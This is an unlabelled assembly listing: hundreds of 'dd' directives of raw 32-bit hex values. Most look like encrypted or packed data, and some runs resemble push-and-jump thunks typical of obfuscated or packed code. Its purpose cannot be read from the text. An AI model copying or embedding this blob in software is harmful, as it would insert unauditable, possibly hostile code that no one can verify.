		dd 2091A31Bh, 0A0000008h, 0BE29EDA0h, 930C108Dh, 6EF93D78h
		dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h,	3C77930Ch
		dd 2E5D6FF8h, 0F33C8FEAh, 55EAA240h, 670CB0C3h,	0B22EC465h
		dd 0AACF731Dh, 0D7E97686h, 3BD494A4h, 1C5886D4h, 0A7A68595h
		dd 4122F0ABh, 393h, 9286B96Fh, 0A04153F0h, 0AF06A7D4h
		dd 0A449DA48h, 2138ABA0h, 0F5516924h, 2F5E603Fh, 3504A11Ch
		dd 4E55EAB8h, 6D9D1031h, 8B4FC5E9h, 9BB3EA1Ch, 85B6C223h
		dd 0C6BC3618h, 54DBBF4Fh, 62FF43C4h, 887E4CBCh,	38000007h
		dd 16919508h, 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh
		dd 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h
		dd 55EAA3E8h, 67E4286Bh, 79063665h, 51275447h, 0FC2FA71Ah
		dd 4D79BB99h, 2F2B422Dh, 85954C01h, 2FE9Dh, 88B91B00h
		dd 4753F092h, 0A2B9D2A6h, 9F28EAA7h, 0DA485C1Eh, 7F82D249h
		dd 0FDE26EBFh, 0BD81E133h, 3D4C138Eh, 0F0148FBBh, 0DB5B6D22h
		dd 5CD9F2A9h, 55EA46EDh, 3AFEE266h, 0E8E09BADh,	51199170h
		dd 8B46E7C4h, 855EAA1h,	0FD3E1204h, 87205B7Fh, 4FC6FE73h
		dd 0A0497B84h, 0F4DD44F6h, 5B7397F8h, 0CE54DBFFh, 0B262FED0h
		dd 6CD485Ah, 4D7D0000h,	3051CE52h, 232EB97Dh, 705A266h
		dd 0F01F888Ch, 0DEF279BDh, 0E0245968h, 0CF534A47h, 0B5793450h
		dd 0A165182Ah
		dd 192875F4h, 9A55EAA0h, 0F48BB779h, 4643DCD9h,	0F416C54Fh
		dd 3E4E4342h, 0F986B6DAh, 34A7D4C7h, 0F09258EBh, 0BD77DB53h
		dd 964D701h, 0F0929DACh, 0E0321653h, 0B3D5F41Bh, 529834F8h
		dd 6C85948Ch, 7, 2212A48h, 0B9400000h, 53F09288h, 0B9D2A647h
		dd 0DA48B97Ch, 0BDCEB249h, 5F023242h, 0FE2927A9h, 0ECD160CDh
		dd 0EE5255EAh, 26557724h, 0B3DBA9E2h, 0D2679836h, 52762D5Bh
		dd 82F90BC0h, 85F3128Ah, 82DD2976h, 0F2564FC6h,	0FE7CB12Dh
		dd 596BC362h, 60Fh, 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h
		dd 0CB4F4241h, 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh
		dd 4BB6E327h, 0EAA05FEAh, 75BFD455h, 6366567h, 24544779h
		dd 1F2E45F2h, 0DE7ABEEDh, 85948D10h, 7AEh, 842A0A00h, 40000001h
		dd 0F0928FB9h, 0D3B94853h, 48C17FB8h, 0C64A49DAh, 1994B6B5h
		dd 5788A15h, 229E7EF6h,	0E7178EBCh, 5F4C8D63h, 0B129959Fh
		dd 96172450h, 4FC61D7Ch, 1C8E91F5h, 5462FEF3h, 581D6E4h
		dd 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh, 0A4A33CC0h
		dd 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h,	3DC1BCCEh
		dd 0FD4CE950h, 7655EAA1h, 6567DBDDh, 47460536h,	8FFCC84Ah
		dd 5BD9D4F0h, 0F30B8284h, 205FB6C5h, 0FAB6F1Eh,	85948CE1h
		dd 0D665C23Dh, 0CFAC0F66h, 78868EADh, 71D5A9C8h, 7C0A3h
		dd 2AEC0000h, 0DBh, 928FB940h, 0B94853F0h, 0C97FB8D3h
		dd 549DA48h, 0B83E0DAAh, 0D1B555EAh, 28232743h,	0E5A0AEBDh
		dd 24AA8733h, 0E1331EEAh, 0A165182Ah, 0CD7693EAh, 3235D664h
		dd 0B34165B9h, 9BB3EA1Ch, 85B6C223h, 0C37EBF2Ah, 4055EAD1h
		dd 334736FCh, 0C44FC62Ah, 2457BF40h, 96162FFh, 4BA3Bh
		dd 473A4A00h, 6A2324C3h, 930E39A6h, 0BBF2108Fh,	0A4D9E877h
		dd 41F1DB60h, 5CCB4F42h, 35B2762Fh, 0D9A9E19h, 117C80FBh
		dd 0A63E0DAAh, 1EB555EAh, 0D5FD8B9Ah, 9E1346B8h, 7B8D42D0h
		dd 55770800h, 53E01626h, 80FB0D3Ch, 0F40AD07Ch,	7948594h
		dd 0
		dd 262Ah, 65674000h, 0DF950636h, 72A59780h, 96D7574Ch
		dd 0AF11FE7Ch, 0B0D2898Bh, 2E89CDFDh, 1786B8C7h, 3FD913h
		dd 67570000h, 0B5842165h, 0CE53F092h, 0A516264Ah, 0DFEFAAA6h
		dd 23CB97Bh, 1153F093h,	15809BF2h, 0F093B988h, 0DC563A53h
		dd 0CB99FD0Fh, 0E3737CDAh, 80B3BA41h, 353F02Dh,	64171B3Fh
		dd 6BA9E4E5h, 0CD6567E1h, 0B7C8C0BBh, 0D8FCE09Bh, 0BBEAD5A3h
		dd 9009D07Fh, 0F0712417h, 0B7DBBF53h, 8BD2417Dh, 8D09017Ch
		dd 0AADE2F87h, 0AB381491h, 0CDB149DAh, 0EE9DAFBEh, 108BBD2Ah
		dd 0D3F48BF8h, 856458DAh, 425BC4F7h, 8D4FC145h,	0D9EB7289h
		dd 0B22D5EA2h, 0C5A5C675h, 3BF95D5Fh, 102B6264h, 0F7275C40h
		dd 0E92BCD7Ch, 0F08465DDh, 60845ADBh, 0C94D45E9h, 0E41DE846h
		dd 0B280F85Ch, 383h, 84880303h,	6FB3EA1Bh, 54D8D5F0h, 42C6BDCBh
		dd 27EBA6A5h, 302B0A4h,	0F01D8A8Eh, 0DAF671B5h,	0BACC5BDFh
		dd 0EF523FC3h, 0EAA7F34Eh, 0D9C37055h, 0F2366567h, 0A5A35375h
		dd 80B8F315h, 6CE8E004h, 0F91D98B3h, 0A274B2C2h, 394B6A57h
		dd 92B4CBFBh, 6899E01Bh, 315F64C7h, 2E524903h, 0E12ED8E4h
		dd 52497B8Ah, 0EFBC62CEh, 36DA8594h, 6F000000h,	0C580B3FCh
		dd 3F0353F0h, 618073F5h, 9290A30Ch, 2F1353F0h, 89B7F00Bh
		dd 249DC2Ch, 527E0D3Eh,	0B18AD357h, 9155E4DCh, 6FF83C6Fh
		dd 2102863h, 2DFh, 0E06180A8h, 718AAEDFh, 0A24B4706h, 0F5075BA4h
		dd 0F0082C9Fh, 0E31F9E94h, 6449DCC1h, 7597E8E0h, 0E552F606h
		dd 349988Eh, 5F527108h,	0C073BC2Fh, 4355E448h, 6E59DBFFh
		dd 0C8AFBDC1h, 0B9D2B64Fh, 0E71656ABh, 0EE2414FDh, 0FD8B5A2Ah
		dd 561D61CEh, 321645F5h, 3201AE19h, 1A41CDDBh, 7CC0B4E9h
		dd 5A69F6B6h, 41B01727h, 9FEDFC2Ah, 3CBFC36Ch, 0CCB05BE1h
		dd 67C03348h, 4BA1FDD4h, 7229EB6Fh, 522D5D50h, 0C9B97D30h
		dd 0E695B738h, 3D4E72D6h, 8D0C3EF0h, 0B7E07051h, 12209274h
		dd 0CB4FBB79h, 0C6A8A0B0h, 8A80531Bh, 42FD3C88h, 0A04D9545h
		dd 0DE0C4EA5h, 0F8A3FA5Fh, 20h,	1B618034h, 6CD747E0h, 242849DCh
		dd 9CAA9514h, 8D4855E4h, 9AC61466h, 0B0D08BA8h,	0DC000000h
		dd 6366567h, 24574A79h,	0A66C2725h, 54477906h, 72295B24h
		dd 9725EFAEh, 1E8953F0h, 0F097A291h, 0D75D2153h, 93970638h
		dd 2B6661F8h, 9D1032E9h, 6014F56Dh, 7200CA6Bh, 65E949DCh
		dd 7400E1A1h, 0E0DCE647h, 0C3154FCBh, 527139D3h, 1089C95Fh
		dd 78073458h, 57D05449h, 6EC24538h, 76630337h, 19D3406h
		dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh
		dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah
		dd 0C978A504h, 4A55EAA5h, 0F48B8709h, 27A3DBD2h, 920F3EEDh
		dd 0FAF5EB79h, 0ADB3F4C6h, 1234B367h, 805D979Bh, 5DDEE061h
		dd 0BFFCB5Ah, 96A6CA3Ch, 1C23FC32h, 22B1E516h, 0B2A00D3Eh
		dd 3349DC82h, 4FFE3F4Fh, 0AD55E46Eh, 0A8E3EF7Eh, 6C6E856Ah
		dd 8BA988BEh, 0C2D8h, 0FD8BD400h, 0DBBB579Eh, 0B988152Bh
		dd 3A53F060h, 2BE03256h, 156A6219h, 2283BBF6h, 53F0656Eh
		dd 0AB6F1E20h, 7B930A3Ch, 2481E203h, 53F06515h,	7586AAAEh
		dd 0DC806628h, 8FB1C849h, 0AA68EC1Ch, 4E36FA5Eh, 75B2C9BFh
		dd 4FCAEB10h, 0B4EF1D6Ch, 0F5060A7Eh, 215A5776h, 152B3053h
		dd 23F1D3A6h, 48450477h, 0F8B5D24Dh, 11CE44C0h,	2E78BFF2h
		dd 0CA6301C8h, 0A54052h, 25250000h, 839A66Ah, 0FB169195h
		dd 0DFED7ABEh, 0C8C760A4h, 0E6CA51D5h, 0B87C3150h, 0A76B222Fh
		dd 8D910C38h, 79BDF012h, 3100AD1Ch, 0B255EAAAh,	68679F01h
		dd 5476F135h, 0E752D34Eh, 7C53F092h, 9262D118h,	9DE153F0h
		dd 677FB579h, 79063665h, 0B0D05447h, 49102B51h,	0F6B1433Eh
		dd 0DA480CA9h, 6BB4A749h, 55EAB8D8h, 0BBD3F75Bh, 0D0EBA2A4h
		dd 0E047789h, 0F0ABDD4Ah, 293659D8h, 0C2ADB28Dh, 336A9CABh
		dd 5F4E70EFh, 7B32502Fh, 0FE15C443h, 4ACEBDCFh,	0D8F0ABDDh
		dd 0ACAh, 1F8C6000h, 3F4F3E40h,	67D759DBh, 7B043467h, 253A5249h
		dd 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh
		dd 4718306Dh, 1F275746h, 81E18951h, 4C1h, 4E98300h, 31240C33h
		dd 0C33240Ch, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 69682434h, 89000032h, 53BE2404h, 5538B46Fh, 3C4A5FBDh
		dd 5DEE016Eh, 0D6F74E4Eh, 0E483C681h, 0EE68AD0Ah, 8900001Ah
		dd 4832424h, 68580424h,	1236h, 8F243489h, 48B0840h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 5024348Bh, 405E089h, 83000000h
		dd 48704C0h, 49E95C24h,	85FFFA47h, 0F9C441BBh, 0BA397A66h
		dd 0CB89379h, 3061A39h,	62E0FFC5h, 0B7643092h, 0CE252EA8h
		dd 300CFD30h, 0B2381CD3h, 4D029E7Bh, 4A2AA642h,	0A17B0D4Ah
		dd 62620276h, 0D3489F1Eh, 7D7296CCh, 0B340EBAFh, 0FA624B23h
		dd 0B3776188h, 94DD054h, 3606D17Bh, 0E4687582h,	0F81EE1FFh
		dd 0E81BB59Dh, 0Ch, 0DB16DB68h,	0D5E272B4h, 8D94B09Eh
		dd 0F98B665Bh, 65C0C381h, 8A510000h, 6859CFh, 0E9000000h
		dd 0Eh,	46696C2Ch, 6AC5845Eh, 0A191715Ch, 0F85E395Fh, 0F33048Bh
		dd 0E881FBBFh, 438DB6B5h, 0DE8h, 0E4FF8400h, 1465FD33h
		dd 4CDB0E16h, 8166203Ah, 59A242DFh, 0FEC6F081h,	0E8811276h
		dd 38C90AC1h, 0DE9h, 8E0E7300h,	8FD90B31h, 0C5398F9Ch
		dd 0E9507A0Dh, 9, 8739316Ch, 0A9290181h, 33048F92h, 0BF66FB8Bh
		dd 0EE830DEBh, 22E98004h, 9AF4FE81h, 850FFFFFh,	0FFFFFF94h
		dd 13E9h, 0AFF76A00h, 683ED6BEh, 42815648h, 1763400h, 40DABA50h
		dd 0DE9h, 7482AA00h, 58h, 0
		dd 0F6E90000h, 0A0000004h, 0BE29EDA0h, 930C108Dh, 6EF93D78h
		dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h,	3C77930Ch
		dd 2E5D6FF8h, 0F33C8FEAh, 55EAA840h, 670CB0C3h,	0B5842165h
		dd 0CE53F092h, 5615264Ah, 883853Bh, 587094F0h, 0E97636FCh
		dd 2863A7DAh, 93C170BDh, 0FE4253F0h, 36656734h,	0A6477906h
		dd 0C29171C2h, 0D9F115C1h, 0AC1F8586h, 0F08A3003h, 8ECFB353h
		dd 53F08AB3h, 6FDA5B30h, 0E453F08Ah, 20587C60h,	0C9648B64h
		dd 0EE1E93B2h, 0D1F3A86Ah, 2F2556DAh, 42D69A7Dh, 5AF10346h
		dd 30AF732Eh, 1E619914h, 384B4F1h, 828EBDD4h, 403B4910h
		dd 0F00ECA79h, 0ADE0E253h, 0CD5175D9h, 57E243BEh, 0EC53F00Eh
		dd 0D3F5AA68h, 3D01A0D8h, 253F00Eh, 26F4066Dh, 0B0859529h
		dd 33h,	3665677Ch, 929AA706h, 0F69953F0h, 8C8D539Fh, 1298594h
		dd 87000000h, 7376667h,	0A0AD4778h, 0B6C9C1E5h,	0A9ED1D98h
		dd 6798A7CEh, 5375F236h, 671ED458h, 7A053568h, 0F2245449h
		dd 32C4C299h, 0A9769A17h, 6CE8E09Bh, 93B2D9A6h,	86F53974h
		dd 0F3224CEh, 0A08BBA9h, 40783355h, 6199143Fh, 47DA31DCh
		dd 0D3C79D4h, 8653F012h, 1288BB82h, 0E34C53F0h,	53F01250h
		dd 371B6FD3h, 12A89B04h, 272B53F0h, 0AEF0DEDh, 0A0EF8595h
		dd 0C5000000h, 5356867h, 4FFA3B96h, 0C453F092h,	0F21DB240h
		dd 14C387B7h, 0C2BFCEFDh, 0D3E4D3Eh, 0BECD8290h, 0D05DC8C3h
		dd 53F09261h, 28949EE2h, 163148BBh, 92E7529Bh, 187C53F0h
		dd 4C47451Ah, 0C752293Fh, 42B223E7h, 72A9F4B0h,	0EABA607h
		dd 242853F0h, 0E8EA01EEh, 85952652h, 654Ch, 0FD8B6800h
		dd 0D7446C7h, 7724EEE4h, 0F0ADDE58h, 20587CD8h,	0CE6F335Fh
		dd 53F05F73h, 215C77F0h, 0B5E1193Dh, 5DE28EC6h,	8AF1A6C1h
		dd 8D09017Ch, 0ADC4AB69h, 0BAC96F9Eh, 0E131C835h, 799D1B3Ah
		dd 6703D155h, 0A6073766h, 53F092A4h, 0FD0D8886h, 122A6762h
		dd 0A8729976h, 6A688F60h, 85948CC4h, 1D2h, 6C67DE00h, 26C1BCCAh
		dd 31496D28h, 69611C2Eh, 35E80FEEh, 92EE5DDAh, 0E16553F0h
		dd 54517C13h, 2B51B0D0h, 62579710h, 0A4A849DCh,	0C2B9CB94h
		dd 0EC9FA13Eh, 0B3FC6FDCh, 55E48280h, 0CBC2C403h, 0F43357B3h
		dd 2BAFDFD6h, 8253ECE9h, 3B5455E4h, 1893B5D4h, 34719CE3h
		dd 0C6728004h, 44742759h, 47988D7h, 0CD8290F4h,	1EC8C0BBh
		dd 596B9AF1h, 0AC72DE22h, 0CA8BA89Ch, 140h, 0D9F48BE6h
		dd 5A722927h, 6458DAFEh, 5BC4F785h, 49DC90DBh, 47183014h
		dd 0B9D25645h, 0BEFFA5A2h, 55E49083h, 1A183C00h, 95B34345h
		dd 0BDC2FA1Eh, 67F8108Bh, 7A053568h, 0F2245449h, 0A9162E45h
		dd 6CF20C81h, 0DEB1072Bh, 0CE0AE786h, 6F9E15BCh, 67040E32h
		dd 0DCCFF110h, 0BA2EFC58h, 1D888BA8h, 0E4B0A190h, 0D45E2255h
		dd 342Bh, 65808100h, 9043EC1Fh,	53D3F092h, 0E35EDFEFh
		dd 0CCD3F092h, 0AF3AEC03h, 5E0DAAA1h, 9553F092h, 5C403D4Ah
		dd 0AA02D8h, 0A6110000h, 0F092CA79h, 4FC54953h,	9F188BC5h
		dd 53F092ACh, 0F6A7D827h, 0D45E42C6h, 407B01E0h, 0DC6A23E7h
		dd 5B70D449h, 4B0F98E8h, 0FC732FAAh, 0E4B84EFDh, 0B341C555h
		dd 235A6CF3h, 4F3E40DFh, 0B94EFE3Fh, 0C4B55E4h,	0E9A4A6E5h
		dd 0F6175625h, 0DCE87787h, 3F77BDA1h, 36A1DAAEh, 0B9EF5ADBh
		dd 0E06455E4h, 7223A312h, 0F85C4FCEh, 0E58DBFC0h, 7189ADE8h
		dd 0A9A1DCEEh, 0C2FAB7D6h, 8A90E714h, 0C75FB665h, 69D84526h
		dd 415FDEF4h, 0D5314944h, 42799DE1h, 47988D7h, 3F0F8F0Eh
		dd 0B42745F4h, 0B833D86Bh, 3DF75B41h, 77BD41C5h, 3D79FD8Bh
		dd 0D1AA08D2h, 0EE9A6B43h, 0DA5250DDh, 549349DAh, 0C7437B32h
		dd 0B2D4ABA3h, 65890400h, 890406A1h, 62C13071h,	65D2F71Dh
		dd 7A0130Eh, 3779E934h,	9249CB4Fh, 6EF93D70h, 5629215Ch
		dd 0CA4D7D38h, 0E39AA8B7h, 8234A11h, 20585371h,	8FB16EA4h
		dd 7D8F181Ch, 0B8DCD7F5h, 3B280h, 8C380000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 89561F27h, 4C681E6h
		dd 83000000h, 348704EEh, 24248B24h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 0C068241Ch, 89000043h, 0C768240Ch, 8B061A3Ah
		dd 0C481241Ch, 4, 422B68h, 24248900h, 4240481h,	59000000h
		dd 4815352h, 0E6635C24h, 0EA815A1Ch, 1CE6635Ch,	5A085189h
		dd 592434FFh, 8B04C483h, 8953241Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 2DE95C24h, 64FFFA41h, 1427A904h, 0CE1C81E8h
		dd 3F36B84Fh, 0C503061Ah, 3468E0FFh, 24552FCDh,	233B72C3h
		dd 0CAC00547h, 186171E0h, 2B971835h, 0D9305FCh,	3A283397h
		dd 0DD6C4C3Fh, 0B845631Bh, 0A4E97EC5h, 0AB000001h, 2748E32Ah
		dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
		dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
		dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
		dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
		dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 9 dup(0)
		dd 0E9000000h, 104Eh, 1A43B568h, 1E7E906h, 0CB68FFFBh
		dd 0E9061A44h, 0FFFB01DDh, 1A464A68h, 1D3E906h,	0F968FFFBh
		dd 0E9061A46h, 0FFFB01C9h, 1A484468h, 1BFE906h,	0D68FFFBh
		dd 0E9061A49h, 0FFFB01B5h, 1A49FE68h, 1ABE906h,	8868FFFBh
		dd 0E9061A4Ah, 0FFFB01A1h, 1A4B7268h, 197E906h,	0EF68FFFBh
		dd 0E9061A4Bh, 0FFFB018Dh, 1A4CCD68h, 183E906h,	0A768FFFBh
		dd 0E9061A4Dh, 0FFFB0179h, 1A4E6768h, 16FE906h,	7068FFFBh
		dd 0E9061A4Fh, 0FFFB0165h, 1A506968h, 15BE906h,	254FFFBh
		dd 0A1F676ADh, 488DDB08h, 0EF2EBED5h, 95C705B2h, 4582ED1Ah
		dd 3261BA1Ah, 96CD5EB2h, 7F940556h, 0C572B1E1h,	2C122829h
		dd 743981C3h, 38667DE0h, 0ACEA82FBh, 0D1E91677h, 336781EBh
		dd 0AF016B7h, 96336782h, 79CE4AE4h, 6AC30814h, 0BBD1B1F3h
		dd 748A8B88h, 35739263h, 831075E7h, 63E7369Dh, 7B918163h
		dd 73CB4F39h, 543F4368h, 5BF58Dh, 48D40000h, 21AC9409h
		dd 7BDAD98Ah, 0A23873A5h, 30593972h, 0E6CCF213h, 0BA336781h
		dd 733848C8h, 0F35738Fh, 988D2071h, 56C7BEE8h, 0E5C6BDF8h
		dd 0E763D03Bh, 7C7EFDDFh, 0F74FC339h, 0FB06D929h, 0AD900D40h
		dd 3B914FFFh, 543A40CDh, 2C397C69h, 3D72D6B2h, 0FF8D54FBh
		dd 0FDh, 0FB386672h, 0D24F829Ah, 2859396Bh, 8B2275ABh
		dd 0B472D692h, 0FCE21864h, 84336781h, 0ABC5B8EAh, 3F51346Bh
		dd 331340DFh, 336785FFh, 0A3D04F8Fh, 0C7BEF525h, 0C4FA2A45h
		dd 336785DEh, 4C316AAEh, 0E610C21Ch, 9D765F67h,	7A143573h
		dd 0DEC4FA1Bh, 0A2397B9Dh, 8DFF5030h, 497FDD2h,	54316321h
		dd 77A6E937h, 7B9D290Fh, 8B8F7939h, 7ADB4562h, 6F232327h
		dd 133B8542h, 0CF91D963h, 0B2ECB772h, 256AB2D3h, 42928CF4h
		dd 0B61E043Ah, 0F0623369h, 0F02C1146h, 0B0EB21A2h, 0E56D9FCDh
		dd 744D93Bh, 87167D6Ch,	0BB175757h, 15CCCA09h, 0E75E26A9h
		dd 0D9137h, 207FD300h, 8F1E75F3h, 68C50858h, 316CAD3Bh
		dd 99124282h, 99C6076Ah, 314FE437h, 0D51340DBh,	6CFC2B82h
		dd 0AC42F12Eh, 0C4AF95ADh, 7BF33981h, 0E53666F6h, 6FE03E4Eh
		dd 2677DC2Fh, 6AD30D3Fh, 306DA03Eh, 0B6ED1F4Dh,	42789965h
		dd 3367815Ch, 0BCCE4A24h, 0B5858083h, 99ED5A5Fh, 6891F123h
		dd 73DA8D52h, 1A7B1535h, 0C6DFC5FDh, 0E2A3397Bh, 7BC6F6DCh
		dd 0AED88A39h, 41239BAAh, 0F397BC6h, 3A8B38Bh, 0B58D5458h
		dd 0D5h, 0F9386638h, 121C9F18h,	0E4FCE830h, 4F23A106h
		dd 0E27AE31Dh, 8E0479B2h, 33678F5Ah, 9C1343DDh,	2C1228A9h
		dd 7433678Eh, 3EE8689Ah, 0D41443E0h, 0B4342986h, 9CBD989Bh
		dd 8E61477Fh, 0ACD23367h, 33678EC6h, 0DE28DAh, 222650CDh
		dd 73A63922h, 467C5935h, 397B9660h, 775D6520h, 0B397B96h
		dd 80D12F59h, 0DE08382Dh, 8784B7A9h, 3ADF8086h,	1DA33B85h
		dd 4BCA64B7h, 0FB2883D5h, 53F02B6Dh, 26A86C6Bh,	7BA866DFh
		dd 0AD00000Ch, 4F9DCA69h, 0E2629108h, 87C572AFh, 5CACDB56h
		dd 0E974A3FCh, 8E21732Ch, 6AC50B59h, 3D6CAF3Dh,	9B184686h
		dd 0ABD3B26Ch, 3981C5C5h, 66D459DDh, 8498E536h,	0DA0F556h
		dd 5A3E6818h, 0F83767E5h, 0D34E839Dh, 0E55A3E6Ah, 50879934h
		dd 5C2464D9h, 261F94C2h, 0AAAB0856h, 0A8E8645Ch, 55863667h
		dd 0C83F1B92h, 5D383B54h, 1E71F3Ch, 81336841h, 365373D7h
		dd 0FC357440h, 62BA1B02h, 6B9BFF34h, 397C3F89h,	72A64657h
		dd 326CBF15h, 579CB256h, 8D54D11Ah, 6282h, 0D98A1700h
		dd 12437BDAh, 0F0357398h, 6EBE1F06h, 0DD8FF62Bh, 976B4D75h
		dd 0DD71397Bh, 452D4289h, 3CEF8D54h, 0AE000000h, 7403FE50h
		dd 4C34BC04h, 0DAD98A81h, 0AB66437Bh, 0B22C3573h, 83D24ACBh
		dd 0E85DCE02h, 55170EB8h, 0ABF3D5EDh, 55F9397Bh, 3CB5FA01h
		dd 4AD28D54h, 0F3B19405h, 7C397h, 0D8560000h, 8CBh, 568799D5h
		dd 124D7FDBh, 940E3411h, 0E7357DC0h, 4CC6C417h,	0FE5A1402h
		dd 6840B02Ch, 96B6A2F2h, 3BA98FB7h, 0FF93982h, 6EAC70DDh
		dd 14428231h, 5BC25DB3h, 1A86FF29h, 0D3EB6A69h,	3B9879BCh
		dd 0AF2C9646h, 99556BD2h, 0E03EEE6Fh, 0F52B1443h, 0C1A7DF9Fh
		dd 0C1336804h, 839DE517h, 0AF71DC53h, 2E57336Eh, 838281B2h
		dd 74354E7Bh, 21763435h, 27395E88h, 3B20966Bh, 0AFC0CCAh
		dd 0EA2C0000h, 89CE1EB5h, 3065E310h, 0D70646FDh, 7DDF2D5Ah
		dd 0AD6AF522h, 0DA09A2F2h, 0BED5468Ah, 7BCED2Eh, 0ED1A99F9h
		dd 442A5031h, 5C3981C7h, 9E8055D8h, 2336780h, 0CBF35251h
		dd 357DC321h, 50C90A12h, 41DBBFEDh, 530C6097h, 4BCDF550h
		dd 0DF3B9803h, 9EFC202Dh, 4492D201h, 5ABE6EEFh,	0C04041C1h
		dd 91A99497h, 357DC082h, 0D2F3520Ch, 0BFA78DB5h, 0BFB3981h
		dd 0B88275C6h, 1672AC32h, 0E855CA08h, 0AFFE55CBh, 827DD1B7h
		dd 2327D139h, 0E13E9CECh, 7D22067Ch, 0D586B982h, 0E64F77D6h
		dd 0A4BB8E96h, 36B18DCAh, 40B5A69Ch, 0A4D92h, 0E43B9F00h
		dd 43DA314Fh, 2C81D414h, 0F52869F7h, 5DCE0E5Eh,	257ABB26h
		dd 0FD0BB8F3h, 91EF0497h, 28B8EF3Eh, 601EB5EAh,	0C7F3D9E1h
		dd 0A78F3981h, 0DAD98A3Ah, 4ABE8B7Bh, 0B11EB39Ah, 958BA8D1h
		dd 3474E944h, 2D8A344Ch, 5C0E357Eh, 0B0EF2FF1h,	9ACC3A03h
		dd 3F8330DAh, 8BCB553Dh, 968BE816h, 0AD33AE4Dh,	9E87316Ch
		dd 13727122h, 98A365EBh, 203FD3Bh, 1165BC1Ah, 52EC1B99h
		dd 0D9275C8Eh, 0D2433A79h, 8C1B7864h, 3D6FD647h, 4FD29781h
		dd 8586B1CBh, 7D639BB8h, 9336826h, 0B0F055C8h, 0ADCCB426h
		dd 7E66CE95h, 0E5022335h, 8266F7DDh, 65D98B39h,	3982667Fh
		dd 3BF15103h, 667E649Ah, 50023982h, 268D7424h, 8731826Bh
		dd 0FB386686h, 41DE3C4Ch, 9D8466DCh, 4BE43981h,	0C7B5CD48h
		dd 0CB3B97DDh, 0B2E03C19h, 5886C67Dh, 0B5E662DBh, 42A7F8B4h
		dd 0EC1E84CAh, 7CDC4061h, 267DDD23h, 0FD050D3Fh, 357E807Bh
		dd 2F05D0Fh, 0D59FD8C7h, 98A9A988h, 36A1CB3Bh, 4776D927h
		dd 0C7FCEF74h, 7B7E174h, 0F9A6F7h, 2822269Bh, 0E9117C7Fh
		dd 3B8E2AD0h, 947A80A1h, 0EC337605h, 6A041672h,	9C99A72Dh
		dd 2CEA5B26h, 902h, 4B3F022h, 0E91E8FC4h, 4CFB369Bh, 1340DD3Ch
		dd 0FB2883D5h, 0A8E8B770h, 4C80C077h, 0F324A4D3h, 9FFF0DBAh
		dd 5A3BD300h, 81C93E24h, 67EA4239h, 82FB3866h, 0E77ACEAh
		dd 0B2D36B4Fh, 7298CF64h, 8740133Dh, 0CFFh, 87997200h
		dd 1179D950h, 53Fh, 3CFBC19Ch, 0A73ACE0h, 97C0FA5Eh, 81593F47h
		dd 0BF293367h, 13E3000Dh, 0AC5687A2h, 9F19D2ABh, 41E73F6Fh
		dd 2EC7FF5Bh, 0EC3573D9h, 0F0A81C72h, 6CE68097h, 2D553033h
		dd 0A9343A8h, 0AC92A8C9h, 0F406733Bh, 1E48E136h, 0F76E03Ah
		dd 64E1E29Dh, 3A202647h, 4606733Bh, 8494AC94h, 8087CB4h
		dd 0F121FF5Eh, 97C705B2h, 5B6BFB18h, 269F518Eh,	839E8h
		dd 88276B00h, 57C60D5Bh, 306DA020h, 99144583h, 61BA1A6Ah
		dd 316EAF32h, 0C9174CDFh, 6DFB2883h, 444F32Ah, 742A59D6h
		dd 0CB07ED15h, 939B3981h, 4A9992Eh, 689480CBh, 0FC5AC44Ch
		dd 6EAEBEA7h, 0F9AA863Dh, 0A3639BFAh, 2F357DE4h, 0E472586Eh
		dd 5C0E3981h, 1A022322h, 765A67B6h, 973E346h, 6DAD7BDFh
		dd 86C95736h, 8CDC3317h, 0EF6CD14Eh, 7C8D841Fh,	2622980Ah
		dd 1D787B14h, 98745FE5h, 7AA2E33Bh, 0E1A39A17h
		dd 6873977Dh, 79B0E733h, 28957FEFh, 236167ABh, 886E94F1h
		dd 183367B9h, 0CF513C6Eh, 40DB3D88h, 157D2F16h,	90B6D7F4h
		dd 3367B9AAh, 48E528F6h, 128BC01Eh, 0A6AAE836h,	67B9BAA0h
		dd 0FA14C633h, 0DC4F859Bh, 6AC51769h, 307B1F3h,	1C2243CCh
		dd 3367B936h, 6EB8984Ah, 0F28AF330h, 90CA09A2h,	9226AAE5h
		dd 748F323h, 36980000h,	0D53A4AF9h, 7CD12F44h, 2372F221h
		dd 0C90B598Eh, 71BE2156h, 6BDEE2Eh, 0EA1992C6h,	0B3E0399Ah
		dd 194EE535h, 0F8DEE465h, 883981CAh, 0D98A39A4h, 7B8B7BDAh
		dd 71805D54h, 4B739AFEh, 357DC9C5h, 7AA2A35Dh, 6686871Ch
		dd 0A699F932h, 851447D9h, 1489CCA0h, 95C17331h,	9DC16E3Bh
		dd 0D34D3502h, 0CB392C83h, 84BA9B98h, 3B8E0F57h, 0FDA07AC8h
